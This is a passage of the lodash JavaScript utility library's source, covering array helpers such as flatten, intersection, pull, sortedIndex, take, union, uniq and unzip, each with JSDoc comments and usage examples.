     * @returns {number} Returns the index of the found element, else `-1`.
     * @example
     *
     * var users = [
     *   { 'user': 'barney',  'active': true },
     *   { 'user': 'fred',    'active': false },
     *   { 'user': 'pebbles', 'active': false }
     * ];
     *
     * _.findLastIndex(users, function(o) { return o.user == 'pebbles'; });
     * // => 2
     *
     * // The `_.matches` iteratee shorthand.
     * _.findLastIndex(users, { 'user': 'barney', 'active': true });
     * // => 0
     *
     * // The `_.matchesProperty` iteratee shorthand.
     * _.findLastIndex(users, ['active', false]);
     * // => 2
     *
     * // The `_.property` iteratee shorthand.
     * _.findLastIndex(users, 'active');
     * // => 0
     */
    function findLastIndex(array, predicate, fromIndex) {
      var length = array == null ? 0 : array.length;
      if (!length) {
        return -1;
      }
      var index = length - 1;
      if (fromIndex !== undefined) {
        index = toInteger(fromIndex);
        index = fromIndex < 0
          ? nativeMax(length + index, 0)
          : nativeMin(index, length - 1);
      }
      return baseFindIndex(array, getIteratee(predicate, 3), index, true);
    }

    /**
     * Flattens `array` a single level deep.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Array
     * @param {Array} array The array to flatten.
     * @returns {Array} Returns the new flattened array.
     * @example
     *
     * _.flatten([1, [2, [3, [4]], 5]]);
     * // => [1, 2, [3, [4]], 5]
     */
    function flatten(array) {
      var length = array == null ? 0 : array.length;
      return length ? baseFlatten(array, 1) : [];
    }

    /**
     * Recursively flattens `array`.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Array
     * @param {Array} array The array to flatten.
     * @returns {Array} Returns the new flattened array.
     * @example
     *
     * _.flattenDeep([1, [2, [3, [4]], 5]]);
     * // => [1, 2, 3, 4, 5]
     */
    function flattenDeep(array) {
      var length = array == null ? 0 : array.length;
      return length ? baseFlatten(array, INFINITY) : [];
    }

    /**
     * Recursively flatten `array` up to `depth` times.
     *
     * @static
     * @memberOf _
     * @since 4.4.0
     * @category Array
     * @param {Array} array The array to flatten.
     * @param {number} [depth=1] The maximum recursion depth.
     * @returns {Array} Returns the new flattened array.
     * @example
     *
     * var array = [1, [2, [3, [4]], 5]];
     *
     * _.flattenDepth(array, 1);
     * // => [1, 2, [3, [4]], 5]
     *
     * _.flattenDepth(array, 2);
     * // => [1, 2, 3, [4], 5]
     */
    function flattenDepth(array, depth) {
      var length = array == null ? 0 : array.length;
      if (!length) {
        return [];
      }
      depth = depth === undefined ? 1 : toInteger(depth);
      return baseFlatten(array, depth);
    }

    /**
     * The inverse of `_.toPairs`; this method returns an object composed
     * from key-value `pairs`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {Array} pairs The key-value pairs.
     * @returns {Object} Returns the new object.
     * @example
     *
     * _.fromPairs([['a', 1], ['b', 2]]);
     * // => { 'a': 1, 'b': 2 }
     */
    function fromPairs(pairs) {
      var index = -1,
          length = pairs == null ? 0 : pairs.length,
          result = {};

      while (++index < length) {
        var pair = pairs[index];
        result[pair[0]] = pair[1];
      }
      return result;
    }

    /**
     * Gets the first element of `array`.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @alias first
     * @category Array
     * @param {Array} array The array to query.
     * @returns {*} Returns the first element of `array`.
     * @example
     *
     * _.head([1, 2, 3]);
     * // => 1
     *
     * _.head([]);
     * // => undefined
     */
    function head(array) {
      return (array && array.length) ? array[0] : undefined;
    }

    /**
     * Gets the index at which the first occurrence of `value` is found in `array`
     * using [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
     * for equality comparisons. If `fromIndex` is negative, it's used as the
     * offset from the end of `array`.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Array
     * @param {Array} array The array to inspect.
     * @param {*} value The value to search for.
     * @param {number} [fromIndex=0] The index to search from.
     * @returns {number} Returns the index of the matched value, else `-1`.
     * @example
     *
     * _.indexOf([1, 2, 1, 2], 2);
     * // => 1
     *
     * // Search from the `fromIndex`.
     * _.indexOf([1, 2, 1, 2], 2, 2);
     * // => 3
     */
    function indexOf(array, value, fromIndex) {
      var length = array == null ? 0 : array.length;
      if (!length) {
        return -1;
      }
      var index = fromIndex == null ? 0 : toInteger(fromIndex);
      if (index < 0) {
        index = nativeMax(length + index, 0);
      }
      return baseIndexOf(array, value, index);
    }

    /**
     * Gets all but the last element of `array`.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Array
     * @param {Array} array The array to query.
     * @returns {Array} Returns the slice of `array`.
     * @example
     *
     * _.initial([1, 2, 3]);
     * // => [1, 2]
     */
    function initial(array) {
      var length = array == null ? 0 : array.length;
      return length ? baseSlice(array, 0, -1) : [];
    }

    /**
     * Creates an array of unique values that are included in all given arrays
     * using [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
     * for equality comparisons. The order and references of result values are
     * determined by the first array.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Array
     * @param {...Array} [arrays] The arrays to inspect.
     * @returns {Array} Returns the new array of intersecting values.
     * @example
     *
     * _.intersection([2, 1], [2, 3]);
     * // => [2]
     */
    var intersection = baseRest(function(arrays) {
      var mapped = arrayMap(arrays, castArrayLikeObject);
      return (mapped.length && mapped[0] === arrays[0])
        ? baseIntersection(mapped)
        : [];
    });

    /**
     * This method is like `_.intersection` except that it accepts `iteratee`
     * which is invoked for each element of each `arrays` to generate the criterion
     * by which they're compared. The order and references of result values are
     * determined by the first array. The iteratee is invoked with one argument:
     * (value).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {...Array} [arrays] The arrays to inspect.
     * @param {Function} [iteratee=_.identity] The iteratee invoked per element.
     * @returns {Array} Returns the new array of intersecting values.
     * @example
     *
     * _.intersectionBy([2.1, 1.2], [2.3, 3.4], Math.floor);
     * // => [2.1]
     *
     * // The `_.property` iteratee shorthand.
     * _.intersectionBy([{ 'x': 1 }], [{ 'x': 2 }, { 'x': 1 }], 'x');
     * // => [{ 'x': 1 }]
     */
    var intersectionBy = baseRest(function(arrays) {
      var iteratee = last(arrays),
          mapped = arrayMap(arrays, castArrayLikeObject);

      if (iteratee === last(mapped)) {
        iteratee = undefined;
      } else {
        mapped.pop();
      }
      return (mapped.length && mapped[0] === arrays[0])
        ? baseIntersection(mapped, getIteratee(iteratee, 2))
        : [];
    });

    /**
     * This method is like `_.intersection` except that it accepts `comparator`
     * which is invoked to compare elements of `arrays`. The order and references
     * of result values are determined by the first array. The comparator is
     * invoked with two arguments: (arrVal, othVal).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {...Array} [arrays] The arrays to inspect.
     * @param {Function} [comparator] The comparator invoked per element.
     * @returns {Array} Returns the new array of intersecting values.
     * @example
     *
     * var objects = [{ 'x': 1, 'y': 2 }, { 'x': 2, 'y': 1 }];
     * var others = [{ 'x': 1, 'y': 1 }, { 'x': 1, 'y': 2 }];
     *
     * _.intersectionWith(objects, others, _.isEqual);
     * // => [{ 'x': 1, 'y': 2 }]
     */
    var intersectionWith = baseRest(function(arrays) {
      var comparator = last(arrays),
          mapped = arrayMap(arrays, castArrayLikeObject);

      comparator = typeof comparator == 'function' ? comparator : undefined;
      if (comparator) {
        mapped.pop();
      }
      return (mapped.length && mapped[0] === arrays[0])
        ? baseIntersection(mapped, undefined, comparator)
        : [];
    });

    /**
     * Converts all elements in `array` into a string separated by `separator`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {Array} array The array to convert.
     * @param {string} [separator=','] The element separator.
     * @returns {string} Returns the joined string.
     * @example
     *
     * _.join(['a', 'b', 'c'], '~');
     * // => 'a~b~c'
     */
    function join(array, separator) {
      return array == null ? '' : nativeJoin.call(array, separator);
    }

    /**
     * Gets the last element of `array`.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Array
     * @param {Array} array The array to query.
     * @returns {*} Returns the last element of `array`.
     * @example
     *
     * _.last([1, 2, 3]);
     * // => 3
     */
    function last(array) {
      var length = array == null ? 0 : array.length;
      return length ? array[length - 1] : undefined;
    }

    /**
     * This method is like `_.indexOf` except that it iterates over elements of
     * `array` from right to left.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Array
     * @param {Array} array The array to inspect.
     * @param {*} value The value to search for.
     * @param {number} [fromIndex=array.length-1] The index to search from.
     * @returns {number} Returns the index of the matched value, else `-1`.
     * @example
     *
     * _.lastIndexOf([1, 2, 1, 2], 2);
     * // => 3
     *
     * // Search from the `fromIndex`.
     * _.lastIndexOf([1, 2, 1, 2], 2, 2);
     * // => 1
     */
    function lastIndexOf(array, value, fromIndex) {
      var length = array == null ? 0 : array.length;
      if (!length) {
        return -1;
      }
      var index = length;
      if (fromIndex !== undefined) {
        index = toInteger(fromIndex);
        index = index < 0 ? nativeMax(length + index, 0) : nativeMin(index, length - 1);
      }
      return value === value
        ? strictLastIndexOf(array, value, index)
        : baseFindIndex(array, baseIsNaN, index, true);
    }

    /**
     * Gets the element at index `n` of `array`. If `n` is negative, the nth
     * element from the end is returned.
     *
     * @static
     * @memberOf _
     * @since 4.11.0
     * @category Array
     * @param {Array} array The array to query.
     * @param {number} [n=0] The index of the element to return.
     * @returns {*} Returns the nth element of `array`.
     * @example
     *
     * var array = ['a', 'b', 'c', 'd'];
     *
     * _.nth(array, 1);
     * // => 'b'
     *
     * _.nth(array, -2);
     * // => 'c';
     */
    function nth(array, n) {
      return (array && array.length) ? baseNth(array, toInteger(n)) : undefined;
    }

    /**
     * Removes all given values from `array` using
     * [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
     * for equality comparisons.
     *
     * **Note:** Unlike `_.without`, this method mutates `array`. Use `_.remove`
     * to remove elements from an array by predicate.
     *
     * @static
     * @memberOf _
     * @since 2.0.0
     * @category Array
     * @param {Array} array The array to modify.
     * @param {...*} [values] The values to remove.
     * @returns {Array} Returns `array`.
     * @example
     *
     * var array = ['a', 'b', 'c', 'a', 'b', 'c'];
     *
     * _.pull(array, 'a', 'c');
     * console.log(array);
     * // => ['b', 'b']
     */
    var pull = baseRest(pullAll);

    /**
     * This method is like `_.pull` except that it accepts an array of values to remove.
     *
     * **Note:** Unlike `_.difference`, this method mutates `array`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {Array} array The array to modify.
     * @param {Array} values The values to remove.
     * @returns {Array} Returns `array`.
     * @example
     *
     * var array = ['a', 'b', 'c', 'a', 'b', 'c'];
     *
     * _.pullAll(array, ['a', 'c']);
     * console.log(array);
     * // => ['b', 'b']
     */
    function pullAll(array, values) {
      return (array && array.length && values && values.length)
        ? basePullAll(array, values)
        : array;
    }

    /**
     * This method is like `_.pullAll` except that it accepts `iteratee` which is
     * invoked for each element of `array` and `values` to generate the criterion
     * by which they're compared. The iteratee is invoked with one argument: (value).
     *
     * **Note:** Unlike `_.differenceBy`, this method mutates `array`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {Array} array The array to modify.
     * @param {Array} values The values to remove.
     * @param {Function} [iteratee=_.identity] The iteratee invoked per element.
     * @returns {Array} Returns `array`.
     * @example
     *
     * var array = [{ 'x': 1 }, { 'x': 2 }, { 'x': 3 }, { 'x': 1 }];
     *
     * _.pullAllBy(array, [{ 'x': 1 }, { 'x': 3 }], 'x');
     * console.log(array);
     * // => [{ 'x': 2 }]
     */
    function pullAllBy(array, values, iteratee) {
      return (array && array.length && values && values.length)
        ? basePullAll(array, values, getIteratee(iteratee, 2))
        : array;
    }

    /**
     * This method is like `_.pullAll` except that it accepts `comparator` which
     * is invoked to compare elements of `array` to `values`. The comparator is
     * invoked with two arguments: (arrVal, othVal).
     *
     * **Note:** Unlike `_.differenceWith`, this method mutates `array`.
     *
     * @static
     * @memberOf _
     * @since 4.6.0
     * @category Array
     * @param {Array} array The array to modify.
     * @param {Array} values The values to remove.
     * @param {Function} [comparator] The comparator invoked per element.
     * @returns {Array} Returns `array`.
     * @example
     *
     * var array = [{ 'x': 1, 'y': 2 }, { 'x': 3, 'y': 4 }, { 'x': 5, 'y': 6 }];
     *
     * _.pullAllWith(array, [{ 'x': 3, 'y': 4 }], _.isEqual);
     * console.log(array);
     * // => [{ 'x': 1, 'y': 2 }, { 'x': 5, 'y': 6 }]
     */
    function pullAllWith(array, values, comparator) {
      return (array && array.length && values && values.length)
        ? basePullAll(array, values, undefined, comparator)
        : array;
    }

    /**
     * Removes elements from `array` corresponding to `indexes` and returns an
     * array of removed elements.
     *
     * **Note:** Unlike `_.at`, this method mutates `array`.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Array
     * @param {Array} array The array to modify.
     * @param {...(number|number[])} [indexes] The indexes of elements to remove.
     * @returns {Array} Returns the new array of removed elements.
     * @example
     *
     * var array = ['a', 'b', 'c', 'd'];
     * var pulled = _.pullAt(array, [1, 3]);
     *
     * console.log(array);
     * // => ['a', 'c']
     *
     * console.log(pulled);
     * // => ['b', 'd']
     */
    var pullAt = flatRest(function(array, indexes) {
      var length = array == null ? 0 : array.length,
          result = baseAt(array, indexes);

      basePullAt(array, arrayMap(indexes, function(index) {
        return isIndex(index, length) ? +index : index;
      }).sort(compareAscending));

      return result;
    });

    /**
     * Removes all elements from `array` that `predicate` returns truthy for
     * and returns an array of the removed elements. The predicate is invoked
     * with three arguments: (value, index, array).
     *
     * **Note:** Unlike `_.filter`, this method mutates `array`. Use `_.pull`
     * to pull elements from an array by value.
     *
     * @static
     * @memberOf _
     * @since 2.0.0
     * @category Array
     * @param {Array} array The array to modify.
     * @param {Function} [predicate=_.identity] The function invoked per iteration.
     * @returns {Array} Returns the new array of removed elements.
     * @example
     *
     * var array = [1, 2, 3, 4];
     * var evens = _.remove(array, function(n) {
     *   return n % 2 == 0;
     * });
     *
     * console.log(array);
     * // => [1, 3]
     *
     * console.log(evens);
     * // => [2, 4]
     */
    function remove(array, predicate) {
      var result = [];
      if (!(array && array.length)) {
        return result;
      }
      var index = -1,
          indexes = [],
          length = array.length;

      predicate = getIteratee(predicate, 3);
      while (++index < length) {
        var value = array[index];
        if (predicate(value, index, array)) {
          result.push(value);
          indexes.push(index);
        }
      }
      basePullAt(array, indexes);
      return result;
    }

    /**
     * Reverses `array` so that the first element becomes the last, the second
     * element becomes the second to last, and so on.
     *
     * **Note:** This method mutates `array` and is based on
     * [`Array#reverse`](https://mdn.io/Array/reverse).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {Array} array The array to modify.
     * @returns {Array} Returns `array`.
     * @example
     *
     * var array = [1, 2, 3];
     *
     * _.reverse(array);
     * // => [3, 2, 1]
     *
     * console.log(array);
     * // => [3, 2, 1]
     */
    function reverse(array) {
      return array == null ? array : nativeReverse.call(array);
    }

    /**
     * Creates a slice of `array` from `start` up to, but not including, `end`.
     *
     * **Note:** This method is used instead of
     * [`Array#slice`](https://mdn.io/Array/slice) to ensure dense arrays are
     * returned.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Array
     * @param {Array} array The array to slice.
     * @param {number} [start=0] The start position.
     * @param {number} [end=array.length] The end position.
     * @returns {Array} Returns the slice of `array`.
     */
    function slice(array, start, end) {
      var length = array == null ? 0 : array.length;
      if (!length) {
        return [];
      }
      if (end && typeof end != 'number' && isIterateeCall(array, start, end)) {
        start = 0;
        end = length;
      }
      else {
        start = start == null ? 0 : toInteger(start);
        end = end === undefined ? length : toInteger(end);
      }
      return baseSlice(array, start, end);
    }

    /**
     * Uses a binary search to determine the lowest index at which `value`
     * should be inserted into `array` in order to maintain its sort order.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Array
     * @param {Array} array The sorted array to inspect.
     * @param {*} value The value to evaluate.
     * @returns {number} Returns the index at which `value` should be inserted
     *  into `array`.
     * @example
     *
     * _.sortedIndex([30, 50], 40);
     * // => 1
     */
    function sortedIndex(array, value) {
      return baseSortedIndex(array, value);
    }

    /**
     * This method is like `_.sortedIndex` except that it accepts `iteratee`
     * which is invoked for `value` and each element of `array` to compute their
     * sort ranking. The iteratee is invoked with one argument: (value).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {Array} array The sorted array to inspect.
     * @param {*} value The value to evaluate.
     * @param {Function} [iteratee=_.identity] The iteratee invoked per element.
     * @returns {number} Returns the index at which `value` should be inserted
     *  into `array`.
     * @example
     *
     * var objects = [{ 'x': 4 }, { 'x': 5 }];
     *
     * _.sortedIndexBy(objects, { 'x': 4 }, function(o) { return o.x; });
     * // => 0
     *
     * // The `_.property` iteratee shorthand.
     * _.sortedIndexBy(objects, { 'x': 4 }, 'x');
     * // => 0
     */
    function sortedIndexBy(array, value, iteratee) {
      return baseSortedIndexBy(array, value, getIteratee(iteratee, 2));
    }

    /**
     * This method is like `_.indexOf` except that it performs a binary
     * search on a sorted `array`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {Array} array The array to inspect.
     * @param {*} value The value to search for.
     * @returns {number} Returns the index of the matched value, else `-1`.
     * @example
     *
     * _.sortedIndexOf([4, 5, 5, 5, 6], 5);
     * // => 1
     */
    function sortedIndexOf(array, value) {
      var length = array == null ? 0 : array.length;
      if (length) {
        var index = baseSortedIndex(array, value);
        if (index < length && eq(array[index], value)) {
          return index;
        }
      }
      return -1;
    }

    /**
     * This method is like `_.sortedIndex` except that it returns the highest
     * index at which `value` should be inserted into `array` in order to
     * maintain its sort order.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Array
     * @param {Array} array The sorted array to inspect.
     * @param {*} value The value to evaluate.
     * @returns {number} Returns the index at which `value` should be inserted
     *  into `array`.
     * @example
     *
     * _.sortedLastIndex([4, 5, 5, 5, 6], 5);
     * // => 4
     */
    function sortedLastIndex(array, value) {
      return baseSortedIndex(array, value, true);
    }

    /**
     * This method is like `_.sortedLastIndex` except that it accepts `iteratee`
     * which is invoked for `value` and each element of `array` to compute their
     * sort ranking. The iteratee is invoked with one argument: (value).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {Array} array The sorted array to inspect.
     * @param {*} value The value to evaluate.
     * @param {Function} [iteratee=_.identity] The iteratee invoked per element.
     * @returns {number} Returns the index at which `value` should be inserted
     *  into `array`.
     * @example
     *
     * var objects = [{ 'x': 4 }, { 'x': 5 }];
     *
     * _.sortedLastIndexBy(objects, { 'x': 4 }, function(o) { return o.x; });
     * // => 1
     *
     * // The `_.property` iteratee shorthand.
     * _.sortedLastIndexBy(objects, { 'x': 4 }, 'x');
     * // => 1
     */
    function sortedLastIndexBy(array, value, iteratee) {
      return baseSortedIndexBy(array, value, getIteratee(iteratee, 2), true);
    }

    /**
     * This method is like `_.lastIndexOf` except that it performs a binary
     * search on a sorted `array`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {Array} array The array to inspect.
     * @param {*} value The value to search for.
     * @returns {number} Returns the index of the matched value, else `-1`.
     * @example
     *
     * _.sortedLastIndexOf([4, 5, 5, 5, 6], 5);
     * // => 3
     */
    function sortedLastIndexOf(array, value) {
      var length = array == null ? 0 : array.length;
      if (length) {
        var index = baseSortedIndex(array, value, true) - 1;
        if (eq(array[index], value)) {
          return index;
        }
      }
      return -1;
    }

    /**
     * This method is like `_.uniq` except that it's designed and optimized
     * for sorted arrays.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {Array} array The array to inspect.
     * @returns {Array} Returns the new duplicate free array.
     * @example
     *
     * _.sortedUniq([1, 1, 2]);
     * // => [1, 2]
     */
    function sortedUniq(array) {
      return (array && array.length)
        ? baseSortedUniq(array)
        : [];
    }

    /**
     * This method is like `_.uniqBy` except that it's designed and optimized
     * for sorted arrays.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {Array} array The array to inspect.
     * @param {Function} [iteratee] The iteratee invoked per element.
     * @returns {Array} Returns the new duplicate free array.
     * @example
     *
     * _.sortedUniqBy([1.1, 1.2, 2.3, 2.4], Math.floor);
     * // => [1.1, 2.3]
     */
    function sortedUniqBy(array, iteratee) {
      return (array && array.length)
        ? baseSortedUniq(array, getIteratee(iteratee, 2))
        : [];
    }

    /**
     * Gets all but the first element of `array`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {Array} array The array to query.
     * @returns {Array} Returns the slice of `array`.
     * @example
     *
     * _.tail([1, 2, 3]);
     * // => [2, 3]
     */
    function tail(array) {
      var length = array == null ? 0 : array.length;
      return length ? baseSlice(array, 1, length) : [];
    }

    /**
     * Creates a slice of `array` with `n` elements taken from the beginning.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Array
     * @param {Array} array The array to query.
     * @param {number} [n=1] The number of elements to take.
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
     * @returns {Array} Returns the slice of `array`.
     * @example
     *
     * _.take([1, 2, 3]);
     * // => [1]
     *
     * _.take([1, 2, 3], 2);
     * // => [1, 2]
     *
     * _.take([1, 2, 3], 5);
     * // => [1, 2, 3]
     *
     * _.take([1, 2, 3], 0);
     * // => []
     */
    function take(array, n, guard) {
      if (!(array && array.length)) {
        return [];
      }
      n = (guard || n === undefined) ? 1 : toInteger(n);
      return baseSlice(array, 0, n < 0 ? 0 : n);
    }

    /**
     * Creates a slice of `array` with `n` elements taken from the end.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Array
     * @param {Array} array The array to query.
     * @param {number} [n=1] The number of elements to take.
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
     * @returns {Array} Returns the slice of `array`.
     * @example
     *
     * _.takeRight([1, 2, 3]);
     * // => [3]
     *
     * _.takeRight([1, 2, 3], 2);
     * // => [2, 3]
     *
     * _.takeRight([1, 2, 3], 5);
     * // => [1, 2, 3]
     *
     * _.takeRight([1, 2, 3], 0);
     * // => []
     */
    function takeRight(array, n, guard) {
      var length = array == null ? 0 : array.length;
      if (!length) {
        return [];
      }
      n = (guard || n === undefined) ? 1 : toInteger(n);
      n = length - n;
      return baseSlice(array, n < 0 ? 0 : n, length);
    }

    /**
     * Creates a slice of `array` with elements taken from the end. Elements are
     * taken until `predicate` returns falsey. The predicate is invoked with
     * three arguments: (value, index, array).
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Array
     * @param {Array} array The array to query.
     * @param {Function} [predicate=_.identity] The function invoked per iteration.
     * @returns {Array} Returns the slice of `array`.
     * @example
     *
     * var users = [
     *   { 'user': 'barney',  'active': true },
     *   { 'user': 'fred',    'active': false },
     *   { 'user': 'pebbles', 'active': false }
     * ];
     *
     * _.takeRightWhile(users, function(o) { return !o.active; });
     * // => objects for ['fred', 'pebbles']
     *
     * // The `_.matches` iteratee shorthand.
     * _.takeRightWhile(users, { 'user': 'pebbles', 'active': false });
     * // => objects for ['pebbles']
     *
     * // The `_.matchesProperty` iteratee shorthand.
     * _.takeRightWhile(users, ['active', false]);
     * // => objects for ['fred', 'pebbles']
     *
     * // The `_.property` iteratee shorthand.
     * _.takeRightWhile(users, 'active');
     * // => []
     */
    function takeRightWhile(array, predicate) {
      return (array && array.length)
        ? baseWhile(array, getIteratee(predicate, 3), false, true)
        : [];
    }

    /**
     * Creates a slice of `array` with elements taken from the beginning. Elements
     * are taken until `predicate` returns falsey. The predicate is invoked with
     * three arguments: (value, index, array).
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Array
     * @param {Array} array The array to query.
     * @param {Function} [predicate=_.identity] The function invoked per iteration.
     * @returns {Array} Returns the slice of `array`.
     * @example
     *
     * var users = [
     *   { 'user': 'barney',  'active': false },
     *   { 'user': 'fred',    'active': false },
     *   { 'user': 'pebbles', 'active': true }
     * ];
     *
     * _.takeWhile(users, function(o) { return !o.active; });
     * // => objects for ['barney', 'fred']
     *
     * // The `_.matches` iteratee shorthand.
     * _.takeWhile(users, { 'user': 'barney', 'active': false });
     * // => objects for ['barney']
     *
     * // The `_.matchesProperty` iteratee shorthand.
     * _.takeWhile(users, ['active', false]);
     * // => objects for ['barney', 'fred']
     *
     * // The `_.property` iteratee shorthand.
     * _.takeWhile(users, 'active');
     * // => []
     */
    function takeWhile(array, predicate) {
      return (array && array.length)
        ? baseWhile(array, getIteratee(predicate, 3))
        : [];
    }

    /**
     * Creates an array of unique values, in order, from all given arrays using
     * [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
     * for equality comparisons.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Array
     * @param {...Array} [arrays] The arrays to inspect.
     * @returns {Array} Returns the new array of combined values.
     * @example
     *
     * _.union([2], [1, 2]);
     * // => [2, 1]
     */
    var union = baseRest(function(arrays) {
      return baseUniq(baseFlatten(arrays, 1, isArrayLikeObject, true));
    });

    /**
     * This method is like `_.union` except that it accepts `iteratee` which is
     * invoked for each element of each `arrays` to generate the criterion by
     * which uniqueness is computed. Result values are chosen from the first
     * array in which the value occurs. The iteratee is invoked with one argument:
     * (value).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {...Array} [arrays] The arrays to inspect.
     * @param {Function} [iteratee=_.identity] The iteratee invoked per element.
     * @returns {Array} Returns the new array of combined values.
     * @example
     *
     * _.unionBy([2.1], [1.2, 2.3], Math.floor);
     * // => [2.1, 1.2]
     *
     * // The `_.property` iteratee shorthand.
     * _.unionBy([{ 'x': 1 }], [{ 'x': 2 }, { 'x': 1 }], 'x');
     * // => [{ 'x': 1 }, { 'x': 2 }]
     */
    var unionBy = baseRest(function(arrays) {
      var iteratee = last(arrays);
      if (isArrayLikeObject(iteratee)) {
        iteratee = undefined;
      }
      return baseUniq(baseFlatten(arrays, 1, isArrayLikeObject, true), getIteratee(iteratee, 2));
    });

    /**
     * This method is like `_.union` except that it accepts `comparator` which
     * is invoked to compare elements of `arrays`. Result values are chosen from
     * the first array in which the value occurs. The comparator is invoked
     * with two arguments: (arrVal, othVal).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {...Array} [arrays] The arrays to inspect.
     * @param {Function} [comparator] The comparator invoked per element.
     * @returns {Array} Returns the new array of combined values.
     * @example
     *
     * var objects = [{ 'x': 1, 'y': 2 }, { 'x': 2, 'y': 1 }];
     * var others = [{ 'x': 1, 'y': 1 }, { 'x': 1, 'y': 2 }];
     *
     * _.unionWith(objects, others, _.isEqual);
     * // => [{ 'x': 1, 'y': 2 }, { 'x': 2, 'y': 1 }, { 'x': 1, 'y': 1 }]
     */
    var unionWith = baseRest(function(arrays) {
      var comparator = last(arrays);
      comparator = typeof comparator == 'function' ? comparator : undefined;
      return baseUniq(baseFlatten(arrays, 1, isArrayLikeObject, true), undefined, comparator);
    });

    /**
     * Creates a duplicate-free version of an array, using
     * [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
     * for equality comparisons, in which only the first occurrence of each element
     * is kept. The order of result values is determined by the order they occur
     * in the array.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Array
     * @param {Array} array The array to inspect.
     * @returns {Array} Returns the new duplicate free array.
     * @example
     *
     * _.uniq([2, 1, 2]);
     * // => [2, 1]
     */
    function uniq(array) {
      return (array && array.length) ? baseUniq(array) : [];
    }

    /**
     * This method is like `_.uniq` except that it accepts `iteratee` which is
     * invoked for each element in `array` to generate the criterion by which
     * uniqueness is computed. The order of result values is determined by the
     * order they occur in the array. The iteratee is invoked with one argument:
     * (value).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {Array} array The array to inspect.
     * @param {Function} [iteratee=_.identity] The iteratee invoked per element.
     * @returns {Array} Returns the new duplicate free array.
     * @example
     *
     * _.uniqBy([2.1, 1.2, 2.3], Math.floor);
     * // => [2.1, 1.2]
     *
     * // The `_.property` iteratee shorthand.
     * _.uniqBy([{ 'x': 1 }, { 'x': 2 }, { 'x': 1 }], 'x');
     * // => [{ 'x': 1 }, { 'x': 2 }]
     */
    function uniqBy(array, iteratee) {
      return (array && array.length) ? baseUniq(array, getIteratee(iteratee, 2)) : [];
    }

    /**
     * This method is like `_.uniq` except that it accepts `comparator` which
     * is invoked to compare elements of `array`. The order of result values is
     * determined by the order they occur in the array.The comparator is invoked
     * with two arguments: (arrVal, othVal).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {Array} array The array to inspect.
     * @param {Function} [comparator] The comparator invoked per element.
     * @returns {Array} Returns the new duplicate free array.
     * @example
     *
     * var objects = [{ 'x': 1, 'y': 2 }, { 'x': 2, 'y': 1 }, { 'x': 1, 'y': 2 }];
     *
     * _.uniqWith(objects, _.isEqual);
     * // => [{ 'x': 1, 'y': 2 }, { 'x': 2, 'y': 1 }]
     */
    function uniqWith(array, comparator) {
      comparator = typeof comparator == 'function' ? comparator : undefined;
      return (array && array.length) ? baseUniq(array, undefined, comparator) : [];
    }

    /**
     * This method is like `_.zip` except that it accepts an array of grouped
     * elements and creates an array regrouping the elements to their pre-zip
     * configuration.
     *
     * @static
     * @memberOf _
     * @since 1.2.0
     * @category Array
     * @param {Array} array The array of grouped elements to process.
     * @returns {Array} Returns the new array of regrouped elements.
     * @example
     *
     * var zipped = _.zip(['a', 'b'], [1, 2], [true, false]);
     * // => [['a', 1, true], ['b', 2, false]]
     *
     * _.unzip(zipped);
     * // => [['a', 'b'], [1, 2], [true, false]]
     */
    function unzip(array) {
      if (!(array && array.length)) {
        return [];
      }
      var length = 0;
      array = arrayFilter(array, function(group) {
        if (isArrayLikeObject(group)) {
          length = nativeMax(group.length, length);
          return true;
        }
      });
      return baseTimes(length, function(index) {
        return arrayMap(array, baseProperty(index));
      });
    }

    /**
     * This method is like `_.unzip` except that it accepts `iteratee` to specify
